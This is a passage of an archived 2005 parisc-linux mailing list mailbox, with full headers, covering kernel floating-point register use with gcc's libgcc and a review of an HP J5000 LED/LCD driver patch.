X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Mar 2005 23:59:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx007) with SMTP; 25 Mar 2005 00:59:28 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 68DB17D67F;
	Thu, 24 Mar 2005 17:00:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31688-07; Thu, 24 Mar 2005 17:00:46 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C2B9B7D680;
	Thu, 24 Mar 2005 17:00:45 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7A4807D670
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 17:00:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31581-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 17:00:41 -0700 (MST)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id 06FDA7D642
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 17:00:41 -0700 (MST)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id 34BA5111FA3; Thu, 24 Mar 2005 15:59:07 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20050324235501.GL2485@tausq.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NjExYg9beSE5+76WZHQhaXN2IGRvbwCS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22494

> We *do not* disable fpregs in the kernel. We would like to though.

I should add that in somewhat recent versions of the kernel, we actually
actively use fpregs in some of the kernel code. The "new" pa_memcpy code
uses fpregs to copy 8-bytes at a time on both 32-bit and 64-bit
machines.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Thu, 24 Mar 2005 19:07:04 -0500 (EST)
Lines: 33
Approved: news@gmane.org
Message-ID: <200503250007.j2P074L7008907@hiauly1.hia.nrc.ca>
References: <20050324235501.GL2485@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623715 13472 80.91.229.3 (22 Nov 2014 02:35:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Mar 2005 00:07:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 25 Mar 2005 01:07:14 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 009CC7D680;
	Thu, 24 Mar 2005 17:08:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32055-03; Thu, 24 Mar 2005 17:08:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 064DB7D682;
	Thu, 24 Mar 2005 17:08:40 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 845F37D67F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 17:08:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31688-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 17:08:36 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 081D47D670
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 17:08:35 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j2P074hF008908; Thu, 24 Mar 2005 19:07:05 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j2P074L7008907;
	Thu, 24 Mar 2005 19:07:04 -0500 (EST)
In-Reply-To: <20050324235501.GL2485@tausq.org> from "Randolph Chung" at Mar 24,
	2005 03:55:07 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZDMxYp0YeSE5+76WZHQhaXN2IGRvb0AJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22495

> > Not good.  This is from libgcc.  I see that the muldi3 expander is
> > disabled when we disable FP regs.  I'm not sure why but it doesn't
> > seem right.  Using the expander, would cause the use of the millicode
> > routine when FP regs are disabled.
> 
> We *do not* disable fpregs in the kernel. We would like to though.
> 
> The problem is precisely libgcc - even if we compile the kernel with
> --disable-fpregs, millicode calls generated by gcc will still use
> fpregs. One proposal that has been talked about before is if we can
> compile a version of the millicode lib that uses limited fpregs range
> and compile the kernel using this new option that Dave is talking about,
> then we will be able to get by using a (much) smaller subset of fp regs
> and we won't have to save/restore them in the kernel.

The millicode routines don't use fpregs.  Various libgcc functions
will use them.  However, I think it's a backend bug that causes
__muldi3 to get pulled in when the kernel is linked.

The -mfixed-range option should allow you to reduce the set of used
fpregs but we need to be sure that the libgcc routines don't get used.
Otherwise, we would have to build libgcc with a reduce set of fpregs.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Thu, 24 Mar 2005 18:34:42 -0500 (EST)
Lines: 25
Approved: news@gmane.org
Message-ID: <200503242334.j2ONYgHV007051@hiauly1.hia.nrc.ca>
References: <20050324223346.GE29361@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623716 13474 80.91.229.3 (22 Nov 2014 02:35:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Mar 2005 23:35:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 25 Mar 2005 00:35:05 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 571217D697;
	Thu, 24 Mar 2005 16:36:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31358-04; Thu, 24 Mar 2005 16:36:21 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB48A7D665;
	Thu, 24 Mar 2005 16:36:20 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 727B37D644
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 16:36:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31358-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 16:36:15 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id E50CD7D642
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 16:36:14 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j2ONYhhF007052; Thu, 24 Mar 2005 18:34:43 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j2ONYgHV007051;
	Thu, 24 Mar 2005 18:34:42 -0500 (EST)
In-Reply-To: <20050324223346.GE29361@colo.lackof.org> from "Grant Grundler" at
	Mar 24, 2005 03:33:46 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /SsxYlQLeSE5+76WZHQhaXN2IGRvb0Dh
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22496

> > No.  Currently in kernel builds, the use of FP registers is completely
> > disabled and integer multiplication is done using the millicode library.
> 
> Erm...objdump disagrees:
> grundler <541>hppa64-linux-objdump -rD vmlinux | fgrep xmpy | wc
>    1654   11578   82683
> 
> First occurance is here:
> 000000001010bca0 <__muldi3>:

Not good.  This is from libgcc.  I see that the muldi3 expander is
disabled when we disable FP regs.  I'm not sure why but it doesn't
seem right.  Using the expander, would cause the use of the millicode
routine when FP regs are disabled.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Pye <dmp@davidmpye.dyndns.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J5000 LED LCD patch (take 2)
Date: Fri, 25 Mar 2005 17:05:00 +0000
Lines: 120
Approved: news@gmane.org
Message-ID: <200503251705.02441.dmp@davidmpye.dyndns.org>
References: <200503241848.57598.dmp@davidmpye.dyndns.org>
	<200503242100.06699.dmp@davidmpye.dyndns.org>
	<20050325062517.GH29361@colo.lackof.org>
Reply-To: dmp@davidmpye.dyndns.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0678055370=="
X-Trace: ger.gmane.org 1416623716 13478 80.91.229.3 (22 Nov 2014 02:35:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Mar 2005 17:05:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 25 Mar 2005 18:05:39 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4A1C47D692;
	Fri, 25 Mar 2005 10:06:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04400-08; Fri, 25 Mar 2005 10:06:47 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E30E7D685;
	Fri, 25 Mar 2005 10:06:46 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5091D7D683
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 Mar 2005 10:06:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04229-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 Mar 2005 10:06:42 -0700 (MST)
Original-Received: from astro.systems.pipex.net (astro.systems.pipex.net [62.241.163.6])
	by free.linux.hp.com (Postfix) with ESMTP id 9B9747D682
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 Mar 2005 10:06:42 -0700 (MST)
Original-Received: from platinum (81-86-97-163.dsl.pipex.com [81.86.97.163])
	by astro.systems.pipex.net (Postfix) with ESMTP id A64C5E000074;
	Fri, 25 Mar 2005 17:05:09 +0000 (GMT)
User-Agent: KMail/1.7.2
In-Reply-To: <20050325062517.GH29361@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: tCE2YgQOeSE5+76WZHQhaXN2IGRvb8DE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22497

--===============0678055370==
Content-Type: multipart/signed; boundary="nextPart222359852.47e4TTfOMp";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart222359852.47e4TTfOMp
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Friday 25 March 2005 06:25, you wrote:
> On Thu, Mar 24, 2005 at 09:00:05PM +0000, David Pye wrote:
> ...
>
> > + for (i=3D0; i<4; ++i)
> > + {
> > +  if ((leds & mask[i]) !=3D (lastleds & mask[i]))
> > +  {
> > +   gsc_writeb( blockp[i]->command, LCD_CMD_REG );
> > +   msleep(msec_cmd_delay);
> > +
> > +   gsc_writeb( leds & mask[i] ? blockp[i]->on :
> > +     blockp[i]->off, LCD_DATA_REG );
> > +   msleep(msec_cmd_delay);
> > +  }
> >   }
> > + lastleds =3D leds;
>
> I still *really* like this bit. Good work!

Thankyou :)

> > -   ** updates the chassis LCD/LED
> > +   ** is scheduled every 5 milliseconds and updates the chassis LCD/LED
>
> ...
>
> > -#define NORMALIZED_COUNT(count) (count/(HZ/100))
> > +#define LED_MINIMUM_ON_TIME (HZ*10/100)
>
> Why not just update every 10ms and ditch all the "minimum on time" stuff?
> Can someone tell if an LED/LCD came on 5ms later than it should have been?

There is a reason for this, though there may be a better way of doing it. =
=20

If you remove it, and set the update interval to 10mS, what tends to happen=
 is=20
that because each time you flip a symbol on the lcd you have to wait 2=20
jiffies (once before cmd reg, once before writing data reg), and sometimes=
=20
more, because the kernel may put you to sleep a bit longer than the time yo=
u=20
asked for,  is that the heartbeat starts skipping beats when the io/lan led=
s=20
are changing on/off all the time.

If you really don't like the minimum_on_time, another solution is to leave =
the=20
work queued every five secs, and make sure you service the heartbeat on one=
=20
cycle, and the led/diskio on the other.  If you think that's cleaner, I can=
=20
change it to do that.

> >   /* blink all LEDs twice a second if we got an Oops (HPMC) */
> > - if (oops_in_progress) {
> > + if (oops_in_progress)
> > + {
> >    currentleds =3D (count_HZ<=3D(HZ/2)) ? 0 : 0xff;
> >   }
>
> Will this work for LCD?
> Will the itimer continue to run and workq continue to get serviced?
> Even if it does, I'm nervous about it.
> Maybe stop all activity at that point?
> The panic chassis log will get printed and that should be a good indicato=
r.
> Anyway, this is a seperate issue from the rest of the patch.

I think it'd be better to just rewrite that so that the work only requeues=
=20
itself if an oops ISNT in progress, but as you say, it wasn't something I=20
changed!

Cheers,

David

>
> thanks,
> grant

--nextPart222359852.47e4TTfOMp
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (GNU/Linux)

iD8DBQBCRES+OIrGtzS07WgRAhxqAKC2gYfA+4xNwnK2jHy3FNrQj0czHgCfe8Jl
DldElzX+F6ChqUrB+zd3ijA=
=QWju
-----END PGP SIGNATURE-----

--nextPart222359852.47e4TTfOMp--

--===============0678055370==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0678055370==--



From - Thu Nov 08 21:33:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Pye <dmp@davidmpye.dyndns.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J5000 LED LCD patch (take 2)
Date: Fri, 25 Mar 2005 21:50:26 +0000
Lines: 86
Approved: news@gmane.org
Message-ID: <200503252150.28207.dmp@davidmpye.dyndns.org>
References: <200503241848.57598.dmp@davidmpye.dyndns.org>
	<20050325062517.GH29361@colo.lackof.org>
	<200503251705.02441.dmp@davidmpye.dyndns.org>
Reply-To: dmp@davidmpye.dyndns.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0372401009=="
X-Trace: ger.gmane.org 1416623716 13482 80.91.229.3 (22 Nov 2014 02:35:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Mar 2005 21:50:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 25 Mar 2005 22:50:46 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 58BB57D66B;
	Fri, 25 Mar 2005 14:52:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04982-06; Fri, 25 Mar 2005 14:52:14 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 50E4F7D671;
	Fri, 25 Mar 2005 14:52:13 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E99927D66A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 Mar 2005 14:52:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04982-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 Mar 2005 14:52:10 -0700 (MST)
Original-Received: from ranger.systems.pipex.net (ranger.systems.pipex.net
	[62.241.162.32])
	by free.linux.hp.com (Postfix) with ESMTP id 4B2697D668
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 Mar 2005 14:52:10 -0700 (MST)
Original-Received: from platinum (81-86-97-163.dsl.pipex.com [81.86.97.163])
	by ranger.systems.pipex.net (Postfix) with ESMTP id 56EEAE0001BC;
	Fri, 25 Mar 2005 21:50:36 +0000 (GMT)
User-Agent: KMail/1.7.2
In-Reply-To: <200503251705.02441.dmp@davidmpye.dyndns.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4OI2YiwkeSE5+76WZHQhaXN2IGRvb4Cm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22498

--===============0372401009==
Content-Type: multipart/signed; boundary="nextPart2160418.141bc5vEOP";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart2160418.141bc5vEOP
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Friday 25 March 2005 17:05, David Pye wrote:
<snip>
> >
> > > -#define NORMALIZED_COUNT(count) (count/(HZ/100))
> > > +#define LED_MINIMUM_ON_TIME (HZ*10/100)
> >
> > Why not just update every 10ms and ditch all the "minimum on time" stuf=
f?
> > Can someone tell if an LED/LCD came on 5ms later than it should have
> > been?

Ah, I remember now.

That's 100mS, not 10mS for a start ;)  You can't make the whole update=20
interval 100mS, of course, or you'll miss the heartbeats completely.

> There is a reason for this, though there may be a better way of doing it.
>
> If you remove it, and set the update interval to 10mS, what tends to happ=
en
> is that because each time you flip a symbol on the lcd you have to wait 2
> jiffies (once before cmd reg, once before writing data reg), and sometimes
> more, because the kernel may put you to sleep a bit longer than the time
> you asked for,  is that the heartbeat starts skipping beats when the io/l=
an
> leds are changing on/off all the time.
>
> If you really don't like the minimum_on_time, another solution is to leave
> the work queued every five secs, and make sure you service the heartbeat =
on
> one cycle, and the led/diskio on the other.  If you think that's cleaner,=
 I
> can change it to do that.

Having spent the evening trying that, I've found that the 100mS minimum=20
